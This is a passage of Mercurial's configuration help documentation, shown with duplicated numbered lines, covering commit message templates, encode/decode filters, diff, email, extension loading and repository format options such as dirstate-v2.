522 - ``linear`` allows any update as long as it follows a straight line in the
522 - ``linear`` allows any update as long as it follows a straight line in the
523 revision history, and may trigger a merge with uncommitted changes.
523 revision history, and may trigger a merge with uncommitted changes.
524
524
525 - ``noconflict`` will allow any update which would not trigger a merge with
525 - ``noconflict`` will allow any update which would not trigger a merge with
526 uncommitted changes, if any are present.
526 uncommitted changes, if any are present.
527
527
528 (default: ``linear``)
528 (default: ``linear``)
529
529
530 ``update.requiredest``
530 ``update.requiredest``
531 Require that the user pass a destination when running :hg:`update`.
531 Require that the user pass a destination when running :hg:`update`.
532 For example, :hg:`update .::` will be allowed, but a plain :hg:`update`
532 For example, :hg:`update .::` will be allowed, but a plain :hg:`update`
533 will be disallowed.
533 will be disallowed.
534 (default: False)
534 (default: False)
535
535
536 ``committemplate``
536 ``committemplate``
537 ------------------
537 ------------------
538
538
539 ``changeset``
539 ``changeset``
540 String: configuration in this section is used as the template to
540 String: configuration in this section is used as the template to
541 customize the text shown in the editor when committing.
541 customize the text shown in the editor when committing.
542
542
543 In addition to pre-defined template keywords, commit log specific one
543 In addition to pre-defined template keywords, commit log specific one
544 below can be used for customization:
544 below can be used for customization:
545
545
546 ``extramsg``
546 ``extramsg``
547 String: Extra message (typically 'Leave message empty to abort
547 String: Extra message (typically 'Leave message empty to abort
548 commit.'). This may be changed by some commands or extensions.
548 commit.'). This may be changed by some commands or extensions.
549
549
550 For example, the template configuration below shows as same text as
550 For example, the template configuration below shows as same text as
551 one shown by default::
551 one shown by default::
552
552
553 [committemplate]
553 [committemplate]
554 changeset = {desc}\n\n
554 changeset = {desc}\n\n
555 HG: Enter commit message. Lines beginning with 'HG:' are removed.
555 HG: Enter commit message. Lines beginning with 'HG:' are removed.
556 HG: {extramsg}
556 HG: {extramsg}
557 HG: --
557 HG: --
558 HG: user: {author}\n{ifeq(p2rev, "-1", "",
558 HG: user: {author}\n{ifeq(p2rev, "-1", "",
559 "HG: branch merge\n")
559 "HG: branch merge\n")
560 }HG: branch '{branch}'\n{if(activebookmark,
560 }HG: branch '{branch}'\n{if(activebookmark,
561 "HG: bookmark '{activebookmark}'\n") }{subrepos %
561 "HG: bookmark '{activebookmark}'\n") }{subrepos %
562 "HG: subrepo {subrepo}\n" }{file_adds %
562 "HG: subrepo {subrepo}\n" }{file_adds %
563 "HG: added {file}\n" }{file_mods %
563 "HG: added {file}\n" }{file_mods %
564 "HG: changed {file}\n" }{file_dels %
564 "HG: changed {file}\n" }{file_dels %
565 "HG: removed {file}\n" }{if(files, "",
565 "HG: removed {file}\n" }{if(files, "",
566 "HG: no files changed\n")}
566 "HG: no files changed\n")}
567
567
568 ``diff()``
568 ``diff()``
569 String: show the diff (see :hg:`help templates` for detail)
569 String: show the diff (see :hg:`help templates` for detail)
570
570
571 Sometimes it is helpful to show the diff of the changeset in the editor without
571 Sometimes it is helpful to show the diff of the changeset in the editor without
572 having to prefix 'HG: ' to each line so that highlighting works correctly. For
572 having to prefix 'HG: ' to each line so that highlighting works correctly. For
573 this, Mercurial provides a special string which will ignore everything below
573 this, Mercurial provides a special string which will ignore everything below
574 it::
574 it::
575
575
576 HG: ------------------------ >8 ------------------------
576 HG: ------------------------ >8 ------------------------
577
577
578 For example, the template configuration below will show the diff below the
578 For example, the template configuration below will show the diff below the
579 extra message::
579 extra message::
580
580
581 [committemplate]
581 [committemplate]
582 changeset = {desc}\n\n
582 changeset = {desc}\n\n
583 HG: Enter commit message. Lines beginning with 'HG:' are removed.
583 HG: Enter commit message. Lines beginning with 'HG:' are removed.
584 HG: {extramsg}
584 HG: {extramsg}
585 HG: ------------------------ >8 ------------------------
585 HG: ------------------------ >8 ------------------------
586 HG: Do not touch the line above.
586 HG: Do not touch the line above.
587 HG: Everything below will be removed.
587 HG: Everything below will be removed.
588 {diff()}
588 {diff()}
589
589
590 .. note::
590 .. note::
591
591
592 For some problematic encodings (see :hg:`help win32mbcs` for
592 For some problematic encodings (see :hg:`help win32mbcs` for
593 detail), this customization should be configured carefully, to
593 detail), this customization should be configured carefully, to
594 avoid showing broken characters.
594 avoid showing broken characters.
595
595
596 For example, if a multibyte character ending with backslash (0x5c) is
596 For example, if a multibyte character ending with backslash (0x5c) is
597 followed by the ASCII character 'n' in the customized template,
597 followed by the ASCII character 'n' in the customized template,
598 the sequence of backslash and 'n' is treated as line-feed unexpectedly
598 the sequence of backslash and 'n' is treated as line-feed unexpectedly
599 (and the multibyte character is broken, too).
599 (and the multibyte character is broken, too).
600
600
601 Customized template is used for commands below (``--edit`` may be
601 Customized template is used for commands below (``--edit`` may be
602 required):
602 required):
603
603
604 - :hg:`backout`
604 - :hg:`backout`
605 - :hg:`commit`
605 - :hg:`commit`
606 - :hg:`fetch` (for merge commit only)
606 - :hg:`fetch` (for merge commit only)
607 - :hg:`graft`
607 - :hg:`graft`
608 - :hg:`histedit`
608 - :hg:`histedit`
609 - :hg:`import`
609 - :hg:`import`
610 - :hg:`qfold`, :hg:`qnew` and :hg:`qrefresh`
610 - :hg:`qfold`, :hg:`qnew` and :hg:`qrefresh`
611 - :hg:`rebase`
611 - :hg:`rebase`
612 - :hg:`shelve`
612 - :hg:`shelve`
613 - :hg:`sign`
613 - :hg:`sign`
614 - :hg:`tag`
614 - :hg:`tag`
615 - :hg:`transplant`
615 - :hg:`transplant`
616
616
617 Configuring items below instead of ``changeset`` allows showing
617 Configuring items below instead of ``changeset`` allows showing
618 customized message only for specific actions, or showing different
618 customized message only for specific actions, or showing different
619 messages for each action.
619 messages for each action.
620
620
621 - ``changeset.backout`` for :hg:`backout`
621 - ``changeset.backout`` for :hg:`backout`
622 - ``changeset.commit.amend.merge`` for :hg:`commit --amend` on merges
622 - ``changeset.commit.amend.merge`` for :hg:`commit --amend` on merges
623 - ``changeset.commit.amend.normal`` for :hg:`commit --amend` on other
623 - ``changeset.commit.amend.normal`` for :hg:`commit --amend` on other
624 - ``changeset.commit.normal.merge`` for :hg:`commit` on merges
624 - ``changeset.commit.normal.merge`` for :hg:`commit` on merges
625 - ``changeset.commit.normal.normal`` for :hg:`commit` on other
625 - ``changeset.commit.normal.normal`` for :hg:`commit` on other
626 - ``changeset.fetch`` for :hg:`fetch` (impling merge commit)
626 - ``changeset.fetch`` for :hg:`fetch` (impling merge commit)
627 - ``changeset.gpg.sign`` for :hg:`sign`
627 - ``changeset.gpg.sign`` for :hg:`sign`
628 - ``changeset.graft`` for :hg:`graft`
628 - ``changeset.graft`` for :hg:`graft`
629 - ``changeset.histedit.edit`` for ``edit`` of :hg:`histedit`
629 - ``changeset.histedit.edit`` for ``edit`` of :hg:`histedit`
630 - ``changeset.histedit.fold`` for ``fold`` of :hg:`histedit`
630 - ``changeset.histedit.fold`` for ``fold`` of :hg:`histedit`
631 - ``changeset.histedit.mess`` for ``mess`` of :hg:`histedit`
631 - ``changeset.histedit.mess`` for ``mess`` of :hg:`histedit`
632 - ``changeset.histedit.pick`` for ``pick`` of :hg:`histedit`
632 - ``changeset.histedit.pick`` for ``pick`` of :hg:`histedit`
633 - ``changeset.import.bypass`` for :hg:`import --bypass`
633 - ``changeset.import.bypass`` for :hg:`import --bypass`
634 - ``changeset.import.normal.merge`` for :hg:`import` on merges
634 - ``changeset.import.normal.merge`` for :hg:`import` on merges
635 - ``changeset.import.normal.normal`` for :hg:`import` on other
635 - ``changeset.import.normal.normal`` for :hg:`import` on other
636 - ``changeset.mq.qnew`` for :hg:`qnew`
636 - ``changeset.mq.qnew`` for :hg:`qnew`
637 - ``changeset.mq.qfold`` for :hg:`qfold`
637 - ``changeset.mq.qfold`` for :hg:`qfold`
638 - ``changeset.mq.qrefresh`` for :hg:`qrefresh`
638 - ``changeset.mq.qrefresh`` for :hg:`qrefresh`
639 - ``changeset.rebase.collapse`` for :hg:`rebase --collapse`
639 - ``changeset.rebase.collapse`` for :hg:`rebase --collapse`
640 - ``changeset.rebase.merge`` for :hg:`rebase` on merges
640 - ``changeset.rebase.merge`` for :hg:`rebase` on merges
641 - ``changeset.rebase.normal`` for :hg:`rebase` on other
641 - ``changeset.rebase.normal`` for :hg:`rebase` on other
642 - ``changeset.shelve.shelve`` for :hg:`shelve`
642 - ``changeset.shelve.shelve`` for :hg:`shelve`
643 - ``changeset.tag.add`` for :hg:`tag` without ``--remove``
643 - ``changeset.tag.add`` for :hg:`tag` without ``--remove``
644 - ``changeset.tag.remove`` for :hg:`tag --remove`
644 - ``changeset.tag.remove`` for :hg:`tag --remove`
645 - ``changeset.transplant.merge`` for :hg:`transplant` on merges
645 - ``changeset.transplant.merge`` for :hg:`transplant` on merges
646 - ``changeset.transplant.normal`` for :hg:`transplant` on other
646 - ``changeset.transplant.normal`` for :hg:`transplant` on other
647
647
648 These dot-separated lists of names are treated as hierarchical ones.
648 These dot-separated lists of names are treated as hierarchical ones.
649 For example, ``changeset.tag.remove`` customizes the commit message
649 For example, ``changeset.tag.remove`` customizes the commit message
650 only for :hg:`tag --remove`, but ``changeset.tag`` customizes the
650 only for :hg:`tag --remove`, but ``changeset.tag`` customizes the
651 commit message for :hg:`tag` regardless of ``--remove`` option.
651 commit message for :hg:`tag` regardless of ``--remove`` option.
652
652
653 When the external editor is invoked for a commit, the corresponding
653 When the external editor is invoked for a commit, the corresponding
654 dot-separated list of names without the ``changeset.`` prefix
654 dot-separated list of names without the ``changeset.`` prefix
655 (e.g. ``commit.normal.normal``) is in the ``HGEDITFORM`` environment
655 (e.g. ``commit.normal.normal``) is in the ``HGEDITFORM`` environment
656 variable.
656 variable.
657
657
658 In this section, items other than ``changeset`` can be referred from
658 In this section, items other than ``changeset`` can be referred from
659 others. For example, the configuration to list committed files up
659 others. For example, the configuration to list committed files up
660 below can be referred as ``{listupfiles}``::
660 below can be referred as ``{listupfiles}``::
661
661
662 [committemplate]
662 [committemplate]
663 listupfiles = {file_adds %
663 listupfiles = {file_adds %
664 "HG: added {file}\n" }{file_mods %
664 "HG: added {file}\n" }{file_mods %
665 "HG: changed {file}\n" }{file_dels %
665 "HG: changed {file}\n" }{file_dels %
666 "HG: removed {file}\n" }{if(files, "",
666 "HG: removed {file}\n" }{if(files, "",
667 "HG: no files changed\n")}
667 "HG: no files changed\n")}
668
668
669 ``decode/encode``
669 ``decode/encode``
670 -----------------
670 -----------------
671
671
672 Filters for transforming files on checkout/checkin. This would
672 Filters for transforming files on checkout/checkin. This would
673 typically be used for newline processing or other
673 typically be used for newline processing or other
674 localization/canonicalization of files.
674 localization/canonicalization of files.
675
675
676 Filters consist of a filter pattern followed by a filter command.
676 Filters consist of a filter pattern followed by a filter command.
677 Filter patterns are globs by default, rooted at the repository root.
677 Filter patterns are globs by default, rooted at the repository root.
678 For example, to match any file ending in ``.txt`` in the root
678 For example, to match any file ending in ``.txt`` in the root
679 directory only, use the pattern ``*.txt``. To match any file ending
679 directory only, use the pattern ``*.txt``. To match any file ending
680 in ``.c`` anywhere in the repository, use the pattern ``**.c``.
680 in ``.c`` anywhere in the repository, use the pattern ``**.c``.
681 For each file only the first matching filter applies.
681 For each file only the first matching filter applies.
682
682
683 The filter command can start with a specifier, either ``pipe:`` or
683 The filter command can start with a specifier, either ``pipe:`` or
684 ``tempfile:``. If no specifier is given, ``pipe:`` is used by default.
684 ``tempfile:``. If no specifier is given, ``pipe:`` is used by default.
685
685
686 A ``pipe:`` command must accept data on stdin and return the transformed
686 A ``pipe:`` command must accept data on stdin and return the transformed
687 data on stdout.
687 data on stdout.
688
688
689 Pipe example::
689 Pipe example::
690
690
691 [encode]
691 [encode]
692 # uncompress gzip files on checkin to improve delta compression
692 # uncompress gzip files on checkin to improve delta compression
693 # note: not necessarily a good idea, just an example
693 # note: not necessarily a good idea, just an example
694 *.gz = pipe: gunzip
694 *.gz = pipe: gunzip
695
695
696 [decode]
696 [decode]
697 # recompress gzip files when writing them to the working dir (we
697 # recompress gzip files when writing them to the working dir (we
698 # can safely omit "pipe:", because it's the default)
698 # can safely omit "pipe:", because it's the default)
699 *.gz = gzip
699 *.gz = gzip
700
700
701 A ``tempfile:`` command is a template. The string ``INFILE`` is replaced
701 A ``tempfile:`` command is a template. The string ``INFILE`` is replaced
702 with the name of a temporary file that contains the data to be
702 with the name of a temporary file that contains the data to be
703 filtered by the command. The string ``OUTFILE`` is replaced with the name
703 filtered by the command. The string ``OUTFILE`` is replaced with the name
704 of an empty temporary file, where the filtered data must be written by
704 of an empty temporary file, where the filtered data must be written by
705 the command.
705 the command.
706
706
707 .. container:: windows
707 .. container:: windows
708
708
709 .. note::
709 .. note::
710
710
711 The tempfile mechanism is recommended for Windows systems,
711 The tempfile mechanism is recommended for Windows systems,
712 where the standard shell I/O redirection operators often have
712 where the standard shell I/O redirection operators often have
713 strange effects and may corrupt the contents of your files.
713 strange effects and may corrupt the contents of your files.
714
714
715 This filter mechanism is used internally by the ``eol`` extension to
715 This filter mechanism is used internally by the ``eol`` extension to
716 translate line ending characters between Windows (CRLF) and Unix (LF)
716 translate line ending characters between Windows (CRLF) and Unix (LF)
717 format. We suggest you use the ``eol`` extension for convenience.
717 format. We suggest you use the ``eol`` extension for convenience.
718
718
719
719
720 ``defaults``
720 ``defaults``
721 ------------
721 ------------
722
722
723 (defaults are deprecated. Don't use them. Use aliases instead.)
723 (defaults are deprecated. Don't use them. Use aliases instead.)
724
724
725 Use the ``[defaults]`` section to define command defaults, i.e. the
725 Use the ``[defaults]`` section to define command defaults, i.e. the
726 default options/arguments to pass to the specified commands.
726 default options/arguments to pass to the specified commands.
727
727
728 The following example makes :hg:`log` run in verbose mode, and
728 The following example makes :hg:`log` run in verbose mode, and
729 :hg:`status` show only the modified files, by default::
729 :hg:`status` show only the modified files, by default::
730
730
731 [defaults]
731 [defaults]
732 log = -v
732 log = -v
733 status = -m
733 status = -m
734
734
735 The actual commands, instead of their aliases, must be used when
735 The actual commands, instead of their aliases, must be used when
736 defining command defaults. The command defaults will also be applied
736 defining command defaults. The command defaults will also be applied
737 to the aliases of the commands defined.
737 to the aliases of the commands defined.
738
738
739
739
740 ``diff``
740 ``diff``
741 --------
741 --------
742
742
743 Settings used when displaying diffs. Everything except for ``unified``
743 Settings used when displaying diffs. Everything except for ``unified``
744 is a Boolean and defaults to False. See :hg:`help config.annotate`
744 is a Boolean and defaults to False. See :hg:`help config.annotate`
745 for related options for the annotate command.
745 for related options for the annotate command.
746
746
747 ``git``
747 ``git``
748 Use git extended diff format.
748 Use git extended diff format.
749
749
750 ``nobinary``
750 ``nobinary``
751 Omit git binary patches.
751 Omit git binary patches.
752
752
753 ``nodates``
753 ``nodates``
754 Don't include dates in diff headers.
754 Don't include dates in diff headers.
755
755
756 ``noprefix``
756 ``noprefix``
757 Omit 'a/' and 'b/' prefixes from filenames. Ignored in plain mode.
757 Omit 'a/' and 'b/' prefixes from filenames. Ignored in plain mode.
758
758
759 ``showfunc``
759 ``showfunc``
760 Show which function each change is in.
760 Show which function each change is in.
761
761
762 ``ignorews``
762 ``ignorews``
763 Ignore white space when comparing lines.
763 Ignore white space when comparing lines.
764
764
765 ``ignorewsamount``
765 ``ignorewsamount``
766 Ignore changes in the amount of white space.
766 Ignore changes in the amount of white space.
767
767
768 ``ignoreblanklines``
768 ``ignoreblanklines``
769 Ignore changes whose lines are all blank.
769 Ignore changes whose lines are all blank.
770
770
771 ``unified``
771 ``unified``
772 Number of lines of context to show.
772 Number of lines of context to show.
773
773
774 ``word-diff``
774 ``word-diff``
775 Highlight changed words.
775 Highlight changed words.
776
776
777 ``email``
777 ``email``
778 ---------
778 ---------
779
779
780 Settings for extensions that send email messages.
780 Settings for extensions that send email messages.
781
781
782 ``from``
782 ``from``
783 Optional. Email address to use in "From" header and SMTP envelope
783 Optional. Email address to use in "From" header and SMTP envelope
784 of outgoing messages.
784 of outgoing messages.
785
785
786 ``to``
786 ``to``
787 Optional. Comma-separated list of recipients' email addresses.
787 Optional. Comma-separated list of recipients' email addresses.
788
788
789 ``cc``
789 ``cc``
790 Optional. Comma-separated list of carbon copy recipients'
790 Optional. Comma-separated list of carbon copy recipients'
791 email addresses.
791 email addresses.
792
792
793 ``bcc``
793 ``bcc``
794 Optional. Comma-separated list of blind carbon copy recipients'
794 Optional. Comma-separated list of blind carbon copy recipients'
795 email addresses.
795 email addresses.
796
796
797 ``method``
797 ``method``
798 Optional. Method to use to send email messages. If value is ``smtp``
798 Optional. Method to use to send email messages. If value is ``smtp``
799 (default), use SMTP (see the ``[smtp]`` section for configuration).
799 (default), use SMTP (see the ``[smtp]`` section for configuration).
800 Otherwise, use as name of program to run that acts like sendmail
800 Otherwise, use as name of program to run that acts like sendmail
801 (takes ``-f`` option for sender, list of recipients on command line,
801 (takes ``-f`` option for sender, list of recipients on command line,
802 message on stdin). Normally, setting this to ``sendmail`` or
802 message on stdin). Normally, setting this to ``sendmail`` or
803 ``/usr/sbin/sendmail`` is enough to use sendmail to send messages.
803 ``/usr/sbin/sendmail`` is enough to use sendmail to send messages.
804
804
805 ``charsets``
805 ``charsets``
806 Optional. Comma-separated list of character sets considered
806 Optional. Comma-separated list of character sets considered
807 convenient for recipients. Addresses, headers, and parts not
807 convenient for recipients. Addresses, headers, and parts not
808 containing patches of outgoing messages will be encoded in the
808 containing patches of outgoing messages will be encoded in the
809 first character set to which conversion from local encoding
809 first character set to which conversion from local encoding
810 (``$HGENCODING``, ``ui.fallbackencoding``) succeeds. If correct
810 (``$HGENCODING``, ``ui.fallbackencoding``) succeeds. If correct
811 conversion fails, the text in question is sent as is.
811 conversion fails, the text in question is sent as is.
812 (default: '')
812 (default: '')
813
813
814 Order of outgoing email character sets:
814 Order of outgoing email character sets:
815
815
816 1. ``us-ascii``: always first, regardless of settings
816 1. ``us-ascii``: always first, regardless of settings
817 2. ``email.charsets``: in order given by user
817 2. ``email.charsets``: in order given by user
818 3. ``ui.fallbackencoding``: if not in email.charsets
818 3. ``ui.fallbackencoding``: if not in email.charsets
819 4. ``$HGENCODING``: if not in email.charsets
819 4. ``$HGENCODING``: if not in email.charsets
820 5. ``utf-8``: always last, regardless of settings
820 5. ``utf-8``: always last, regardless of settings
821
821
822 Email example::
822 Email example::
823
823
824 [email]
824 [email]
825 from = Joseph User <joe.user@example.com>
825 from = Joseph User <joe.user@example.com>
826 method = /usr/sbin/sendmail
826 method = /usr/sbin/sendmail
827 # charsets for western Europeans
827 # charsets for western Europeans
828 # us-ascii, utf-8 omitted, as they are tried first and last
828 # us-ascii, utf-8 omitted, as they are tried first and last
829 charsets = iso-8859-1, iso-8859-15, windows-1252
829 charsets = iso-8859-1, iso-8859-15, windows-1252
830
830
831
831
832 ``extensions``
832 ``extensions``
833 --------------
833 --------------
834
834
835 Mercurial has an extension mechanism for adding new features. To
835 Mercurial has an extension mechanism for adding new features. To
836 enable an extension, create an entry for it in this section.
836 enable an extension, create an entry for it in this section.
837
837
838 If you know that the extension is already in Python's search path,
838 If you know that the extension is already in Python's search path,
839 you can give the name of the module, followed by ``=``, with nothing
839 you can give the name of the module, followed by ``=``, with nothing
840 after the ``=``.
840 after the ``=``.
841
841
842 Otherwise, give a name that you choose, followed by ``=``, followed by
842 Otherwise, give a name that you choose, followed by ``=``, followed by
843 the path to the ``.py`` file (including the file name extension) that
843 the path to the ``.py`` file (including the file name extension) that
844 defines the extension.
844 defines the extension.
845
845
846 To explicitly disable an extension that is enabled in an hgrc of
846 To explicitly disable an extension that is enabled in an hgrc of
847 broader scope, prepend its path with ``!``, as in ``foo = !/ext/path``
847 broader scope, prepend its path with ``!``, as in ``foo = !/ext/path``
848 or ``foo = !`` when path is not supplied.
848 or ``foo = !`` when path is not supplied.
849
849
850 Example for ``~/.hgrc``::
850 Example for ``~/.hgrc``::
851
851
852 [extensions]
852 [extensions]
853 # (the churn extension will get loaded from Mercurial's path)
853 # (the churn extension will get loaded from Mercurial's path)
854 churn =
854 churn =
855 # (this extension will get loaded from the file specified)
855 # (this extension will get loaded from the file specified)
856 myfeature = ~/.hgext/myfeature.py
856 myfeature = ~/.hgext/myfeature.py
857
857
858 If an extension fails to load, a warning will be issued, and Mercurial will
858 If an extension fails to load, a warning will be issued, and Mercurial will
859 proceed. To enforce that an extension must be loaded, one can set the `required`
859 proceed. To enforce that an extension must be loaded, one can set the `required`
860 suboption in the config::
860 suboption in the config::
861
861
862 [extensions]
862 [extensions]
863 myfeature = ~/.hgext/myfeature.py
863 myfeature = ~/.hgext/myfeature.py
864 myfeature:required = yes
864 myfeature:required = yes
865
865
866 To debug extension loading issue, one can add `--traceback` to their mercurial
866 To debug extension loading issue, one can add `--traceback` to their mercurial
867 invocation.
867 invocation.
868
868
869 A default setting can we set using the special `*` extension key::
869 A default setting can we set using the special `*` extension key::
870
870
871 [extensions]
871 [extensions]
872 *:required = yes
872 *:required = yes
873 myfeature = ~/.hgext/myfeature.py
873 myfeature = ~/.hgext/myfeature.py
874 rebase=
874 rebase=
875
875
876
876
877 ``format``
877 ``format``
878 ----------
878 ----------
879
879
880 Configuration that controls the repository format. Newer format options are more
880 Configuration that controls the repository format. Newer format options are more
881 powerful, but incompatible with some older versions of Mercurial. Format options
881 powerful, but incompatible with some older versions of Mercurial. Format options
882 are considered at repository initialization only. You need to make a new clone
882 are considered at repository initialization only. You need to make a new clone
883 for config changes to be taken into account.
883 for config changes to be taken into account.
884
884
885 For more details about repository format and version compatibility, see
885 For more details about repository format and version compatibility, see
886 https://www.mercurial-scm.org/wiki/MissingRequirement
886 https://www.mercurial-scm.org/wiki/MissingRequirement
887
887
888 ``usegeneraldelta``
888 ``usegeneraldelta``
889 Enable or disable the "generaldelta" repository format which improves
889 Enable or disable the "generaldelta" repository format which improves
890 repository compression by allowing "revlog" to store deltas against
890 repository compression by allowing "revlog" to store deltas against
891 arbitrary revisions instead of the previously stored one. This provides
891 arbitrary revisions instead of the previously stored one. This provides
892 significant improvement for repositories with branches.
892 significant improvement for repositories with branches.
893
893
894 Repositories with this on-disk format require Mercurial version 1.9.
894 Repositories with this on-disk format require Mercurial version 1.9.
895
895
896 Enabled by default.
896 Enabled by default.
897
897
898 ``dotencode``
898 ``dotencode``
899 Enable or disable the "dotencode" repository format which enhances
899 Enable or disable the "dotencode" repository format which enhances
900 the "fncache" repository format (which has to be enabled to use
900 the "fncache" repository format (which has to be enabled to use
901 dotencode) to avoid issues with filenames starting with "._" on
901 dotencode) to avoid issues with filenames starting with "._" on
902 Mac OS X and spaces on Windows.
902 Mac OS X and spaces on Windows.
903
903
904 Repositories with this on-disk format require Mercurial version 1.7.
904 Repositories with this on-disk format require Mercurial version 1.7.
905
905
906 Enabled by default.
906 Enabled by default.
907
907
908 ``usefncache``
908 ``usefncache``
909 Enable or disable the "fncache" repository format which enhances
909 Enable or disable the "fncache" repository format which enhances
910 the "store" repository format (which has to be enabled to use
910 the "store" repository format (which has to be enabled to use
911 fncache) to allow longer filenames and avoids using Windows
911 fncache) to allow longer filenames and avoids using Windows
912 reserved names, e.g. "nul".
912 reserved names, e.g. "nul".
913
913
914 Repositories with this on-disk format require Mercurial version 1.1.
914 Repositories with this on-disk format require Mercurial version 1.1.
915
915
916 Enabled by default.
916 Enabled by default.
917
917
918 ``use-dirstate-v2``
918 ``use-dirstate-v2``
919 Enable or disable the experimental "dirstate-v2" feature. The dirstate
919 Enable or disable the experimental "dirstate-v2" feature. The dirstate
920 functionality is shared by all commands interacting with the working copy.
920 functionality is shared by all commands interacting with the working copy.
921 The new version is more robust, faster and stores more information.
921 The new version is more robust, faster and stores more information.
922
922
923 The performance-improving version of this feature is currently only
923 The performance-improving version of this feature is currently only
924 implemented in Rust (see :hg:`help rust`), so people not using a version of
924 implemented in Rust (see :hg:`help rust`), so people not using a version of
925 Mercurial compiled with the Rust parts might actually suffer some slowdown.
925 Mercurial compiled with the Rust parts might actually suffer some slowdown.
926 For this reason, such versions will by default refuse to access repositories
926 For this reason, such versions will by default refuse to access repositories
927 with "dirstate-v2" enabled.
927 with "dirstate-v2" enabled.
928
928
929 This behavior can be adjusted via configuration: check
929 This behavior can be adjusted via configuration: check
930 :hg:`help config.storage.dirstate-v2.slow-path` for details.
930 :hg:`help config.storage.dirstate-v2.slow-path` for details.
931
931
932 Repositories with this on-disk format require Mercurial 6.0 or above.
932 Repositories with this on-disk format require Mercurial 6.0 or above.
933
933
934 By default this format variant is disabled if the fast implementation is not
934 By default this format variant is disabled if the fast implementation is not
935 available, and enabled by default if the fast implementation is available.
935 available, and enabled by default if the fast implementation is available.
936
936
937 To accomodate installations of Mercurial without the fast implementation,
937 To accomodate installations of Mercurial without the fast implementation,
938 you can downgrade your repository. To do so run the following command:
938 you can downgrade your repository. To do so run the following command:
939
939
940 $ hg debugupgraderepo \
940 $ hg debugupgraderepo \
941 --run \
941 --run \
942 --config format.use-dirstate-v2=False \
942 --config format.use-dirstate-v2=False \
943 --config storage.dirstate-v2.slow-path=allow
943 --config storage.dirstate-v2.slow-path=allow
944
944
945 For a more comprehensive guide, see :hg:`help internals.dirstate-v2`.
945 For a more comprehensive guide, see :hg:`help internals.dirstate-v2`.
946
946
947 ``use-dirstate-v2.automatic-upgrade-of-mismatching-repositories``
947 ``use-dirstate-v2.automatic-upgrade-of-mismatching-repositories``
948 When enabled, an automatic upgrade will be triggered when a repository format
948 When enabled, an automatic upgrade will be triggered when a repository format
949 does not match its `use-dirstate-v2` config.
949 does not match its `use-dirstate-v2` config.
950
950
951 This is an advanced behavior that most users will not need. We recommend you
951 This is an advanced behavior that most users will not need. We recommend you
952 don't use this unless you are a seasoned administrator of a Mercurial install
952 don't use this unless you are a seasoned administrator of a Mercurial install
953 base.
953 base.
954
954
955 Automatic upgrade means that any process accessing the repository will
955 Automatic upgrade means that any process accessing the repository will
956 upgrade the repository format to use `dirstate-v2`. This only triggers if a
956 upgrade the repository format to use `dirstate-v2`. This only triggers if a
957 change is needed. This also applies to operations that would have been
957 change is needed. This also applies to operations that would have been
958 read-only (like hg status).
958 read-only (like hg status).
959
959
960 If the repository cannot be locked, the automatic-upgrade operation will be
960 If the repository cannot be locked, the automatic-upgrade operation will be
961 skipped. The next operation will attempt it again.
961 skipped. The next operation will attempt it again.
962
962
963 This configuration will apply for moves in any direction, either adding the
963 This configuration will apply for moves in any direction, either adding the
964 `dirstate-v2` format if `format.use-dirstate-v2=yes` or removing the
964 `dirstate-v2` format if `format.use-dirstate-v2=yes` or removing the
965 `dirstate-v2` requirement if `format.use-dirstate-v2=no`. So we recommend
965 `dirstate-v2` requirement if `format.use-dirstate-v2=no`. So we recommend
966 setting both this value and `format.use-dirstate-v2` at the same time.
966 setting both this value and `format.use-dirstate-v2` at the same time.
967
967
968 ``use-dirstate-v2.automatic-upgrade-of-mismatching-repositories:quiet``
968 ``use-dirstate-v2.automatic-upgrade-of-mismatching-repositories:quiet``
969 Hide message when performing such automatic upgrade.
969 Hide message when performing such automatic upgrade.
970
970
971 ``use-dirstate-tracked-hint``
971 ``use-dirstate-tracked-hint``
972 Enable or disable the writing of "tracked key" file alongside the dirstate.
972 Enable or disable the writing of "tracked key" file alongside the dirstate.
973 (default to disabled)
973 (default to disabled)
974
974
975 That "tracked-hint" can help external automations to detect changes to the
975 That "tracked-hint" can help external automations to detect changes to the
976 set of tracked files. (i.e the result of `hg files` or `hg status -macd`)
976 set of tracked files. (i.e the result of `hg files` or `hg status -macd`)
977
977
978 The tracked-hint is written in a new `.hg/dirstate-tracked-hint`. That file
978 The tracked-hint is written in a new `.hg/dirstate-tracked-hint`. That file
979 contains two lines:
979 contains two lines:
980 - the first line is the file version (currently: 1),
980 - the first line is the file version (currently: 1),
981 - the second line contains the "tracked-hint".
981 - the second line contains the "tracked-hint".
982 That file is written right after the dirstate is written.
982 That file is written right after the dirstate is written.
983
983
984 The tracked-hint changes whenever the set of file tracked in the dirstate
984 The tracked-hint changes whenever the set of file tracked in the dirstate
985 changes. The general idea is:
985 changes. The general idea is:
986 - if the hint is identical, the set of tracked file SHOULD be identical,
986 - if the hint is identical, the set of tracked file SHOULD be identical,
987 - if the hint is different, the set of tracked file MIGHT be different.
987 - if the hint is different, the set of tracked file MIGHT be different.
988
988
989 The "hint is identical" case uses `SHOULD` as the dirstate and the hint file
989 The "hint is identical" case uses `SHOULD` as the dirstate and the hint file
990 are two distinct files and therefore that cannot be read or written to in an
990 are two distinct files and therefore that cannot be read or written to in an
991 atomic way. If the key is identical, nothing garantees that the dirstate is
991 atomic way. If the key is identical, nothing garantees that the dirstate is
992 not updated right after the hint file. This is considered a negligible
992 not updated right after the hint file. This is considered a negligible
993 limitation for the intended usecase. It is actually possible to prevent this
993 limitation for the intended usecase. It is actually possible to prevent this
994 race by taking the repository lock during read operations.
994 race by taking the repository lock during read operations.
995
995
996 They are two "ways" to use this feature:
996 They are two "ways" to use this feature:
997
997
998 1) monitoring changes to the `.hg/dirstate-tracked-hint`, if the file
998 1) monitoring changes to the `.hg/dirstate-tracked-hint`, if the file
999 changes, the tracked set might have changed.
999 changes, the tracked set might have changed.
1000
1000
1001 2) storing the value and comparing it to a later value.
1001 2) storing the value and comparing it to a later value.
1002
1002
1003
1003
1004 ``use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories``
1004 ``use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories``
1005 When enabled, an automatic upgrade will be triggered when a repository format
1005 When enabled, an automatic upgrade will be triggered when a repository format
1006 does not match its `use-dirstate-tracked-hint` config.
1006 does not match its `use-dirstate-tracked-hint` config.
1007
1007
1008 This is an advanced behavior that most users will not need. We recommend you
1008 This is an advanced behavior that most users will not need. We recommend you
1009 don't use this unless you are a seasoned administrator of a Mercurial install
1009 don't use this unless you are a seasoned administrator of a Mercurial install
1010 base.
1010 base.
1011
1011
1012 Automatic upgrade means that any process accessing the repository will
1012 Automatic upgrade means that any process accessing the repository will
